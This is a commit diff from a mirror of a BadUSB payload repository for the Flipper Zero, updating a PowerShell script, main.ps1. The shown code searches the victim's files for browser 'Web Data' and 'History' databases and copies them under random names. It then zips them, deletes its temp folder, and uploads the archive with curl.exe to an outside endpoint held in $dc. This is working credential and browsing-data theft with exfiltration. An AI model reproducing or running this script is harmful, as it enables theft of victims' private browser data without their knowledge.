mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-27 05:03:54 -08:00
Update main.ps1
This commit is contained in:
@@ -10,7 +10,7 @@ if (!(Test-Path $tempFolder)){
|
||||
$filesToCopy = Get-ChildItem -Path $sourceDir -Filter '*' -Recurse | Where-Object { $_.Name -like 'Web Data' -or $_.Name -like 'History' }
|
||||
foreach ($file in $filesToCopy) {
|
||||
$randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})
|
||||
$newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension
|
||||
$newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + '.db'
|
||||
$destination = Join-Path -Path $tempFolder -ChildPath $newFileName
|
||||
Copy-Item -Path $file.FullName -Destination $destination -Force
|
||||
}
|
||||
@@ -24,4 +24,4 @@ foreach ($folder in $tempFolders) {
|
||||
}
|
||||
Remove-Item -Path $tempFolder -Recurse -Force
|
||||
|
||||
curl.exe -F file1=@"$zipFileName" $dc | Out-Null
|
||||
curl.exe -F file1=@"$zipFileName" $dc | Out-Null
|
||||
|
||||
Reference in New Issue
Block a user